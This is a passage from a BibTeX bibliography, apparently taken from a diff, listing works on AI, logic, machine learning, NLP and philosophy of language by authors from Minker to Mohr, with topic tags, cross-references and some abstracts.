minker_j:1982a1, + author = {Jack Minker}, + title = {On Indefinite Databases and the Closed World Assumption}, + booktitle = {Proceedings of the Sixth Conference on Automated + Deduction}, + publisher = {Springer-Verlag}, + address = {Berlin}, + year = {1988}, + pages = {292--308}, + xref = {Republication: minker_j:1982a2.}, + topic = {databases;closed-world-assumption;} + } + +@incollection{ minker_j:1982a2, + author = {Jack Minker}, + title = {On Indefinite Databases and the Closed World + Assumption}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {326--333}, + address = {Los Altos, California}, + xref = {Original Publication: minker_j:1982a1.}, + topic = {databases;closed-world-assumption;} + } + +@book{ minker_j:1987a, + editor = {Jack Minker}, + title = {Foundations of Deductive Databases and Logic + Programming}, + publisher = {Morgan Kaufmann}, + year = {1987}, + address = {Los Altos, California}, + topic = {logic-programming;deductive-databases;} + } + +@incollection{ minker_j-etal:1991a, + author = {Jack Minker and Jorge Lobo and Arcot Rajasekar}, + title = {Circumscription and Disjunctive Logic Programming}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {281--304}, + address = {San Diego}, + topic = {circumscription;disjunctive-logic-programming;} + } + +@article{ minker_j:1997a, + author = {Jack Minker}, + title = {Logic and Databases: Past, Present and Future}, + journal = {{AI} Magazine}, + year = {1997}, + volume = {18}, + number = {3}, + pages = {21--47}, + contentnote = {This article contains an extensive bibliography}, + topic = {deductive-databases;} + } + +@book{ minker_j:1999a, + editor = {Jack Minker}, + title = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + contentnote = {TC: + 1. Vladimir Lifschitz, "A Causal Language for Describing + Actions" + 2. H\'ector Geffner and Blai Bonet, "Functional Strips: A More + General Language for planning and Problem Solving" + 3. Marc Deneker and Viktor Marek and Miroslaw Truszczy\'nski, + "Approximating Operators, Stable Operators, Well-Founded + Fixpoints and Applications in Nonmonotonic Reasoning" + 4. James P. Delgrande and Torsten Schaub, "The Role of Default + Logic in Knowledge Representation: Preliminary Draft" + 5. John Mccarthy, "Concepts of Logical {AI}" + 6. Eric Sandewall, "On the Methodology of Research in Knowledge + Representation and Common-Sense Reasoning" + 7. Don Perlis, "Status Report on Beliefs---Preliminary Version" + 8. Nir Friedman, "Plausibility Measures and Default Reasoning" + 9. Henry Kautz and Bart Selman, "Unifying {SAT}-Based and + Graph-Based Planning" + 10. Bernhard Nebel, "What is the Expressive Power of + Disjunctive Preconditions?" + 11. Norm Mccain, "Causal Calculator" + 12. Blai Bonet and H\'ector Geffner, "General Planning Tool (GPT)" + 13. Fahiem Bacchus, "{TL}Plan: Planning Using Declarative + Search Control (Abstract)" + 14. David S. Warren, "The {XSB} Tabled Logic Programming System + (Abstract)" + 15. Hector J. Levesque, "Two Approaches to Efficient Open-World Reasoning" + 16. T. Eiter and W. Faber and G. Gottlob and C. Koch + and C. Mateis and N. Leone and Gerald Pfeifer and + F. Scarcello, "The {DLV} System" + 17. {John-Jules Ch.} Meyer, "Dynamic Logic for Reasoning about + Actions and Agents" + 18. Murray Shanahan, "Reinventing Shakey" + 19. V.S. Subrahmanian, "Interactive {M}aryland Platform for + Agents Collaborating Together" + 20. Ilke Niemel\"a, "Smodels: An Implementation of the Stable + Model Semantics for Normal Logic Programs" + 21. Chitta Baral and Michael Gelfond, "Reasoning Agents in + Dynamic Domains" + 22. Raymond Reiter, "The Cognitive Robotics Project at the + University of {T}oronto" + 23. Francesco Buccafurri and Thomas Eiter and Georg Gottlob + and Nicola Leone, "Applying Abduction Techniques to + Verification" + 24. Steven H. Muggleton and F.A. Marginean, "Binary Refinement" + 25. Bart Selman, "Blackbox: A {SAT} Technology Planning System + (Abstract)" + 26. Victor Marek, "Default Reasoning System {DeReS} (Abstract)" + 27. Thomas Eiter, "Using the {DLV} System for {AI} Applications + (Abstract)" + 28. Raymond Reiter, "A Coffee Delivery {G}olog Program" + 29. Carlo Zaniolo, "Breaking through the Barriers of Stratification" + 30. J. Strother Moore, "Towards a Mechanically Checked Theory + of Computation: A Preliminary Report" + 31. Stephen H. Muggleton, "Progol" + 32. Alon Y. Levy, "Logic-Based Techniques in Data Integration" + 33. Brian C. Williams and P. Pandurang Nayak, "A Model-Based + Approach to Reactive Self-Configuring Systems" + 34. Don Loveland, "Applications of Theorem Proving" + 35. Georg Gottlob and Erich Gr\"adel and Helmut Veith, "Datalog + {LITE}" + 36. Krzysztof R. Apt, "Formulas as Programs: A Computational + Interpretation of First-Order Logic" + 37. Rina Dechter, "Unifying Structure-Driven Inference" + 38. Pascal Van Hentenryck, "Constraint Programming Languages + (Abstract)" + 39. Didier Dubois and Henri Prade, "Decision, Nonmonotonic + Reasoning and Possibilistic + Logic" + 40. Craig Boutilier, "The Role of Logic in Stochastic Decision + Processes" + 41. Lenhart K. Schubert, "The Situations We Talk about" + 42. Richmond H. Thomason, "Modeling the Beliefs of Other + Agents" + } , + topic = {logic-in-AI;logic-in-AI-survey;} + } + +@book{ minker_j:2000a, + editor = {Jack Minker}, + title = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + address = {Dordrecht}, + contentnote = {TC: + 1. Jack Minker, "Introduction To Logic-Based Artificial + Intelligence", Pp. 3--33 + 2. John Mccarthy, "Concepts Of Logical {AI}", pp. 37--56 + 3. Giuseppe De Giacomo and Hector J. Levesque, "Two Approaches to + Efficient Open-World Reasoning", pp. 59--78 + 4. Thomas Eiter and Wolfgang Faber and Nicola Leone and + Gerald Pfeifer, "Declarative Problem-Solving in + {DLV}", pp. 79--103 + 5. James P. Delgrande and Torsten Schaub, "The Role of Default + Logic in Knowledge Representation", pp. 107--126 + 6. Marc Deneker and Viktor Marek and Miroslaw + Truszczy\'nski, "Approximations, Stable Operators, + Well-Founded Fixpoints and Applications in + Nonmonotonic Reasoning", pp. 127--144 + 7. Vladimir Lifschitz and Norman McCain and Emilio Remolina and + Armando Tacchella, "Getting to the Airport: The + Oldest Planning Problem in {AI}", pp. 147--165 + 8. Henry Kautz and Bart Selman, "Encoding Domain Knowledge for + Propositional Planning", pp. 169--186 + 9. H\'ector Geffner, "Functional Strips", pp. 187--209 + 10. Fiora Pirri and Raymond Reiter, "Planning with Natural + Actions in the Situation Calculus", pp. 213--231 + 11. Murray Shanahan, "Reinventing {S}hakey", pp. 233--253 + 12. Chitta Baral and Michael Gelfond, "Reasoning Agents in + Dynamic Domains", pp. 257--279 + 13. {John-Jules Ch.} Meyer, "Dynamic Logic for Reasoning about + Actions and Agents", pp. 281--311 + 14. Steven H. Muggleton and Flaviu A. Marginean, "Logic-Based + Machine Learning", pp. 315--330 + 15. Salem Benferhat and Didier Dubois and H\'elene Fargier and + Henri Prade and R\'egis Sabbadin, "Decision, Nonmonotonic + Reasoning and Possibilistic Logic", pp. 333--358 + 16. Don Perlis, "The Role of Belief in {AI}", pp. 361--374 + 17. Richmond H. Thomason, "Modeling the Beliefs of Other + Agents", pp. 375--473 + 18. Lenhart K. Schubert, "The Situations We Talk + about", pp. 407--439 + 19. Georg Gottlob and Erich Gr\"adel and Helmut Veith, "Linear + Time Datalog and Branching Time Logic", pp. 443--467 + 20. Bernhard Nebel, "On the Expressive Power of + Planning Formalisms", pp. 469--488 + 21. Ilkka Niemel\"a and Patrick Simons, "Extending the {S}models + System with Cardinality and Weight + Constraints", pp. 491--521 + 22. Haixun Wang and Carlo Zaniolo, "Nonmonotonic Reasoning in + ${\cal LDL^{++}}$", pp. 523--544 + 23. J. Strother Moore, "Towards a Mechanically Checked Theory + of Computation", pp. 547--574 + 24. Alon Y. Levy, "Logic-Based Techniques in Data + Integration", pp. 575--595 + } , + topic = {logic-in-AI;} + } + +@book{ minker_w-etal:1999a, + author = {Wolfgang Minker and Alex Waibel and Joseph Mariani}, + title = {Stochastically-Based Semantic Analysis}, + publisher = {Kluwer Academic Publishers}, + year = {1999}, + address = {Dordrecht}, + ISBN = {0792385713}, + topic = {statistical-nlp;} + } + +@inproceedings{ minnen:1996a, + author = {Guido Minnen}, + title = {Magic for Filter Optimization in Dynamic Bottom-up + Processing}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {247--254}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {parsing-algorithms;} + } + +@incollection{ minnen-etal:2000a, + author = {Guido Minnen and Francis Bond and Ann Copestake}, + title = {Memory-Based Learning for Article Generation}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {43--48}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;nl-generation;article-selection;} + } + +@book{ minsky:1969a, + author = {Marvin Minsky}, + title = {Semantic Information Processing}, + publisher = {The {MIT} Press}, + year = {1969}, + address = {Cambridge}, + topic = {AI-classics;} + } + +@techreport{ minsky:1974a1, + author = {Marvin Minsky}, + title = {A Framework for Representing Knowledge}, + institution = {Artificial Intelligence Laboratory, {MIT}}, + year = {1974}, + number = {306}, + xref = {Republished in haugeland:1981a. And in Ronald J. Brachman + and Hector J. Levesque, Readings in Knowledge Representation. + See minsky:1981a1, minsky:1981a2, minsky:1981a3.}, + topic = {kr;kr-course;frames;} + } + +@incollection{ minsky:1974a2, + author = {Marvin Minsky}, + title = {A Framework for Representing Knowledge}, + booktitle = {Mind Design}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {95--128}, + address = {Cambridge, Massachusetts}, + xref = {Tech Report: minsky:1974a1.}, + topic = {kr;kr-course;frames;} + } + +@incollection{ minsky:1975a3, + author = {Marvin Minsky}, + title = {A Framework for Representing Knowledge}, + booktitle = {Psychology of Computer Vision}, + publisher = {McGraw-Hill}, + year = {1994}, + editor = {Patrick H. Winston}, + address = {New York}, + missinginfo = {pages}, + xref = {Tech Report: minsky:1974a1.}, + topic = {kr;kr-course;frames;} + } + +@article{ minsky:1993a, + author = {Marvin Minsky}, + title = {Book Review of `Unified Theories of Cognition', by + {A}llen {N}ewell}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {343--354}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@book{ minton:1988a, + author = {Steven Minton}, + title = {Learning Search Control Knowledge: An Explanation-Based + Approach}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + address = {Dordrecht}, + ISBN = {0898382947}, + xref = {Review: dejong_gf-gratch:1991a.}, + topic = {explanation-based-learning;machine-learning; + procedural-control;search;} + } + +@article{ minton-etal:1989a, + author = {Steven Minton and Jaime Carbonell and Craig A. Knoblock + and Daniel R. Kuokka and Oren Etzioni and Yolanda Gil}, + title = {Explanation-Based Learning: A Problem Solving Perspective}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {40}, + number = {1--3}, + pages = {63--118}, + acontentnote = {Abstract: + This article outlines explanation-based learning (EBL) and its + role in improving problem solving performance through + experience. Unlike inductive systems, which learn by + abstracting common properties from multiple examples, EBL + systems explain why a particular example is an instance of a + concept. The explanations are then converted into operational + recognition rules. In essence, the EBL approach is analytical + and knowledge-intensive, whereas inductive methods are empirical + and knowledge-poor. This article focuses on extensions of the + basic EBL method and their integration with the PRODIGY problem + solving system. PRODIGY's EBL method is specifically designed + to acquire search control rules that are effective in reducing + total search time for complex task domains. Domain-specific + search control rules are learned from successful problem solving + decisions, costly failures, and unforeseen goal interactions. + The ability to specify multiple learning strategies in a + declarative manner enables EBL to serve as a general technique + for performance improvement. PRODIGY's EBL method is analyzed, + illustrated with several examples and performance results, and + compared with other methods for integrating EBL and problem + solving.}, + topic = {machine-learning;explanation-based-learning; + procedural-control;} + } + +@article{ minton:1990a, + author = {Steven Minton}, + title = {Quantitative Results Concerning The Utility of + Explanation-Based Learning}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {3}, + pages = {363--391}, + topic = {machine-learning;explanation-based-learning;} + } + +@incollection{ minton-etal:1992a, + author = {Steven Minton and Mark Drummond and John L. Bresina + and Andrew B. Philips}, + title = {Total Versus Partial Order Planning: Factors Influencing + Performance}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {83--92}, + address = {San Mateo, California}, + topic = {planning-algorithms;} + } + +@book{ minton:1993a, + editor = {Steven Minton}, + title = {Machine Learning Methods For Planning}, + publisher = {Morgan Kaufmann}, + year = {1993}, + address = {San Mateo, California}, + ISBN = {1558602488}, + topic = {machine-learning;planning;search;procedural-control;} + } + +@inproceedings{ minton:1996a, + author = {Steven Minton}, + title = {Is There Any Need for Domain-Dependent Control + Information? A Reply}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {855--862}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {search;domain-(in)dependence;} + } + +@article{ mints:1993a, + author = {Gregori Mints}, + title = {Resolution Calculus for the First Order Linear Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {1}, + pages = {59--83}, + topic = {theorem-proving;resolution;linear-logic;} + } + +@article{ mints-etal:1996a, + author = {Grigori Mints and Sergei Tupailo and Wilfried Buchholtz}, + title = {Epsilon Substitution Method for Elementary Analysis}, + journal = {Archive for Mathematical Logic}, + year = {1996}, + volume = {35}, + pages = {103--130}, + xref = {Review: kohlenbach:2000a.}, + topic = {epsilon-operator;elementary-analysis;proof-theory;} + } + +@article{ mints:1997a, + author = {Grigori Mints}, + title = {Indexed Systems of Sequents and Cut-Elimination}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {6}, + pages = {671--696}, + topic = {proof-theory;modal-logic;} + } + +@article{ mints:1999a, + author = {Gregori Mints}, + title = {Cut-Elimination for Simple Type Theory + with an Axiom of Choice}, + journal = {Journal of Symbolic Logic}, + year = {1999}, + volume = {64}, + number = {2}, + pages = {479--485}, + topic = {proof-theory;cut-free-deduction;higher-order-logic; + axiom-of-choice;} + } + +@book{ mio-katz_an:1996a, + editor = {Jeffrey S. Mio and Albert N. Katz}, + title = {Metaphor}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + address = {Mahwah, New Jersey}, + topic = {psycholinguistics;metaphor;pragmatics;} + } + +@incollection{ mircheva:1994a, + author = {Marion Mircheva}, + title = {Logic Programs with Tests}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {276--292}, + address = {Berlin}, + topic = {logic-programming;} + } + +@article{ mirou:1999a, + author = {Adrian Mirou}, + title = {Actuality and World-Indexed Sentences}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {311--330}, + topic = {actuality;} + } + +@book{ misch:1988a, + editor = {Frederic C. Misch}, + title = {Webster's Ninth New Collegiate Dictionary}, + publisher = {Merriam-Webster Inc.}, + year = {1988}, + address = {Springfield, Massachusetts}, + topic = {language-reference;} + } + +@phdthesis{ mitamura:1989a, + author = {Teruko Mitamura}, + title = {The Hierarchical Organization of Predicate Conceptual Frames + and Mapping Rules for Natural Language Processing}, + school = {University of Pittsburgh}, + year = {1989}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {computational-lexicography;} + } + +@inproceedings{ mitchell_dg-etal:1992a, + author = {David G. Mitchell and Bart Selman and Hector J. Levesque}, + title = {Hard and Easy Distributions for {SAT} Problems}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {459--465}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {AI-search-statistics;} + } + +@article{ mitchell_dg-levesque:1996a, + author = {David G. Mitchell and Hector J. Levesque}, + title = {Some Pitfalls for Experimenters with Random {SAT}}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {111--125}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@unpublished{ mitchell_jc:1986a, + author = {John C. Mitchell}, + title = {Kripke-Style Semantics for Typed Lambda Calculus}, + year = {1986}, + note = {Unpublished manuscript, AT\&T Bell Labs}, + topic = {higher-order-logic;} + } + +@inproceedings{ mitchell_jc-odonnell:1986a, + author = {John C. Mitchell and Michael J. O'Donnell}, + title = {Realizability Semantics for Error-Tolerant Logics + (Preliminary Version)}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {363--381}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {relevance-logic;kr;} + } + +@incollection{ mitchell_jc:1991a, + author = {John C. Mitchell}, + title = {On the Equivalence of Data Representations}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {305--329}, + address = {San Diego}, + topic = {abstract-data-types;higher-order-logic;} + } + +@book{ mitchell_jc:1996a, + author = {John C. Mitchell}, + title = {Foundations for Programming Languages}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {theory-of-programming-languages; + semantics-of-programming-languages;} + } + +@article{ mitchell_jsb:1988a, + author = {Joseph S.B. Mitchell}, + title = {An Algorithmic Approach to Some Problems in + Terrain Navigation}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {171--201}, + topic = {motion-planning;} + } + +@article{ mitchell_m:1998a, + author = {Melanie Mitchell}, + title = {Review of {\em {H}andbook of Genetic Algorithms}, by + {L}.{D}. {D}avis}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {325--330}, + xref = {Review of davis_ld:1991a.}, + topic = {genetic-algorithms;} + } + +@article{ mitchell_sd:2000a, + author = {Sandra D. Mitchell}, + title = {Dimensions of Scientific Law}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {2}, + pages = {242--265}, + topic = {philosophy-of-science;philosophy-of-biology; + causality;natural-laws;} + } + +@article{ mitchell_t:2001a, + author = {Tom Mitchell}, + title = {Author's Response to Reviews of {\it Machine Learning}}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {223--225}, + topic = {machine-learning;AI-instruction;} + } + +@article{ mitchell_tm:1982a, + author = {Tom M. Mitchell}, + title = {Generalization as Search}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {18}, + number = {2}, + pages = {203--226}, + acontentnote = {Abstract: + The problem of concept learning, or forming a general + description of a class of objects given a set of examples and + non-examples, is viewed here as a search problem. Existing + programs that generalize from examples are characterized in + terms of the classes of search strategies that they employ. + Several classes of search strategies are then analyzed and + compared in terms of their relative capabilities and + computational complexities. + } , + topic = {concept-learning;complexity-in-AI;search;} + } + +@phdthesis{ mitchell_tm:1986a, + author = {Tom M. Mitchell}, + title = {Version Space: An Approach to Concept Learning}, + school = {Computer Science Department, Stanford University}, + year = {1986}, + type = {Ph.{D}. Dissertation}, + address = {Stanford, California}, + topic = {machine-learning;version-spaces;explanation-based-learning;} + } + +@book{ mitchell_tm-etal:1986a, + editor = {Tom M. Mitchell and Jaime G. Carbonell and Ryszard S. + Michalski}, + title = {Machine Learning: A Guide to Current Research}, + publisher = {Kluwer Academic Publishers}, + year = {1986}, + address = {Boston}, + topic = {machine-learning;} + } + +@incollection{ mitchell_tm-thrun:1996a, + author = {Tom M. Mitchell and Sebastian B. Thrun}, + title = {Learning Analytically and Inductively}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {85--110}, + topic = {cognitive-architectures;learning;induction;} + } + +@article{ mitchell_tm:1997a, + author = {Tom M. Mitchell}, + title = {Does Machine Learning Really Work?}, + journal = {{AI} Magazine}, + year = {1997}, + volume = {18}, + number = {3}, + pages = {11--20}, + topic = {machine-learning;} + } + +@book{ mitchell_tm:1997b, + author = {Tom M. Mitchell}, + title = {Machine Learning}, + publisher = {McGraw-Hill}, + year = {1997}, + address = {Boston}, + xref = {Review: davis_e:2001a.}, + topic = {machine-learning;} + } + +@book{ mitkov-nicolov:1997a, + editor = {Ruslan Mitkov and Nicolas Nicolov}, + title = {Recent Advances in Natural Language Processing: Selected + Papers From {RANLP}'95}, + publisher = {J. Benjamins}, + year = {1997}, + address = {Amsterdam}, + ISBN = {9027236402}, + topic = {nl-processing;} + } + +@article{ mitkov:1999a, + author = {Ruslan Mitkov}, + title = {Review of {\it Centering Theory in Discourse}, edited by + {M}arilyn {W}alker, {A}rivind {J}oshi, and {E}llen {P}rince}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {625--62}, + xref = {Review of walker_ma-etal:1997b.}, + topic = {anaphora-resolution;centering;pragmatics;} + } + +@article{ mitkov-etal:2001a, + author = {Ruslan Mitkov and Branimir Boguraev and Shalom Lappin}, + title = {Introduction}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + note = {Introduction to the Special Issue on Computational + Anaphora Resolution.}, + pages = {473--477}, + topic = {anaphora-resolution;} + } + +@inproceedings{ mittal-moore_jd:1996a, + author = {Vibhu O. Mittal and Johanna D. Moore}, + title = {Detecting Knowledge Base Inconsistencies Using Automated + Generation of Text and Examples}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {483--488}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {nl-generation;inconsistency-detection;} + } + +@article{ mittal-etal:1998a, + author = {Vibhu O. Mittal and Johanna D. Moore and Giussppe Carenini + and Steven Roth}, + title = {Describing Complex Charts in Natural Language: A + Caption Generation System}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {431--467}, + topic = {nl-generation;multimedia-generation;} + } + +@article{ mittelstaedt:1977a, + author = {Peter Mittelstaedt}, + title = {Time Dependent Propositions and Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {463--472}, + topic = {quantum-logic;temporal-logic;} + } + +@article{ mittelstaedt-stachow:1978a, + author = {P. Mittelstaedt and E.-W. Stachow}, + title = {The Principle of Excluded Middle in Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {2}, + pages = {181--208}, + topic = {quantum-logic;truth-value-gaps;} + } + +@article{ mittelstaedt:1979a, + author = {Peter Mittelstaedt}, + title = {The Modal Logic of Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {4}, + pages = {479--504}, + topic = {modal-logic;quantum-logic;} + } + +@book{ mitton:1996a, + author = {Roger Mitton}, + title = {English Spelling and the Computer}, + publisher = {Longman}, + year = {1996}, + address = {London}, + topic = {spelling-correction;} + } + +@article{ mittwoch:1976a, + author = {Anita Mittwoch}, + title = {Grammar and Illocutionary Force}, + journal = {Lingua}, + year = {1976}, + volume = {40}, + pages = {21--42}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@article{ mittwoch:1977a, + author = {Anita Mittwoch}, + title = {How to Refer to One's Own Words: Speech Act Modifying + Adverbials and the Performative Analysis}, + journal = {Journal of Linguistics}, + year = {1977}, + volume = {13}, + pages = {177--189}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;} + } + +@article{ mittwoch:1988a, + author = {Anna Mittwoch}, + title = {Aspects of {E}nglish Aspect: On the Interaction of + Perfect, Progressive and Durational Phrases}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {11}, + number = {2}, + pages = {203--254}, + topic = {tense-aspect;progressive;perfective-aspect; + nl-semantics;tense-aspect;Aktionsarten;} + } + +@article{ mittwoch:1993a, + author = {Anita Mittwoch}, + title = {The Relation between {\it Schon/Already} and + {\it Noch/Still\/}: A Reply to {L}\"obner}, + journal = {Natural Language Semantics}, + year = {1993}, + volume = {2}, + number = {1}, + pages = {71--82}, + topic = {nl-semantics;tense-aspect;presupposition;pragmatics; + `already';`still';} + } + +@incollection{ mittwoch:1995a, + author = {Anita Mittwoch}, + title = {The {E}nlish Perfect, Past Perfect, and Future Perfect + in a Reichenbachean Framework}, + booktitle = {Temporal Reference, Aspect, and Actuality}, + publisher = {Rosenberg and Sellier}, + year = {1995}, + editor = {Pier M. Bertinetto and V. Bianchi and \"Osten Dahl and + M. Squartini}, + pages = {255--267}, + address = {Torino}, + missinginfo = {E's 1st name}, + topic = {nl-semantics;tense-aspect;Aktionsarten;} + } + +@article{ miyashita-sycara:1995a, + author = {Kazuo Miyashita and Katia Sycara}, + title = {{CABINS}: A Framework of Knowledge Acquisition and Iterative + Revision for Schedule Improvement and Reactive Repair}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {377--426}, + acontentnote = {Abstract: + Practical scheduling problems generally require allocation of + resources in the presence of a large, diverse and typically + conflicting set of constraints and optimization criteria. The + ill-structuredness of both the solution space and the desired + objectives make scheduling problems difficult to formalize. This + paper describes a case-based learning method for acquiring + context-dependent user optimization preferences and tradeoffs + and using them to incrementally improve schedule quality in + predictive scheduling and reactive schedule management in + response to unexpected execution events. The approach, + implemented in the CABINS system, uses acquired user preferences + to dynamically modify search control to guide schedule + improvement. During iterative repair, cases are exploited for: + (1) repair action selection, (2) evaluation of intermediate + repair results and (3) recovery from revision failures. The + method allows the system to dynamically switch between repair + heuristic actions, each of which operates with respect to a + particular local view of the problem and offers selective repair + advantages. Application of a repair action tunes the search + procedure to the characteristics of the local repair problem. + This is achieved by dynamic modification of the search control + bias. There is no a priori characterization of the amount of + modification that may be required by repair actions. However, + initial experimental results show that the approach is able to + (a) capture and effectively utilize user scheduling preferences + that were not present in the scheduling model, (b) produce + schedules with high quality, without unduly sacrificing + efficiency in predictive schedule generation and reactive + response to unpredictable execution events along a variety of + criteria that have been recognized as important in real + operating environments. } , + topic = {knowledge-acquisition;case-based-reasoning;machine-learning; + scheduling;} + } + +@article{ miyazaki-etal:1997a, + author = {Kazuteru Miyazaki and Masayuki Yamamura and Shigenobu + Kobayashi}, + title = {k-Certainty Exploration Method: An Action Selector + to Identify the Environment in Reinforcement Learning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {1}, + pages = {155--171}, + topic = {machine-learning;reinforcement-learning;} + } + +@article{ mizoguchi-etal:1999a, + author = {F. Mizoguchi and H. Nichiyama and H. Ohwada and + H. Hiraishi}, + title = {Smart Office Robot Collaboration Based on Multi-Agent + Programming}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {57--94}, + topic = {multiagent-planning;multiagent-systems;robotics;} + } + +@book{ modrak:2000a, + author = {Deborah K.W. Modrak}, + title = {Aristotle's Theory of Language and Meaning}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {052177266-4}, + xref = {Review: tierney:2000a.}, + topic = {Aristotle;philosophy-of-language;} + } + +@phdthesis{ moens:1987a, + author = {Marc Moens}, + title = {Tense, Aspect, and Temporal Reference}, + school = {University of Edinburgh}, + year = {1987}, + type = {Ph.{D}. Dissertation}, + address = {Edinburgh}, + topic = {nl-tense;nl-semantics;reference;} + } + +@article{ moens-steedman:1988a, + author = {Marc Moens and Mark Steedman}, + title = {Temporal Ontology and Temporal Reference}, + journal = {Computational Linguistics}, + year = {1988}, + volume = {14}, + number = {2}, + pages = {15--28}, + topic = {nl-tense;nl-semantics;reference;} + } + +@article{ mohr-henderson:1986a, + author = {Roger Mohr and Thomas C. Henderson}, + title = {Arc and Path Consistency Revisited}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {28}, + number = {2}, + pages = {225--233}, + acontentnote = {Abstract: + Mackworth and Freuder have analyzed the time complexity of + several constraint satisfaction algorithms [5]. We present here + new algorithms for arc and path consistency and show that the + arc consistency algorithm is optimal in time complexity and of + the same-order space complexity as the earlier algorithms. A + refined solution for the path consistency problem is proposed. + However, the space complexity of the path consistency algorithm + makes it practicable only for small problems. These algorithms + are the result of the synthesis techniques used in ALICE (a + general constraint satisfaction system) and local consistency + methods [3]. } , + topic = {arc-(in)consistency;consistency-checking; + constraint-satisfaction;} + } + +@article{ mohr-etal:1995a, + author = {Roger Mohr and Boubakeur Boufama and Pascal Brand}, + title = {Understanding Positioning from Multiple Images}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {213--238}, + acontentnote = 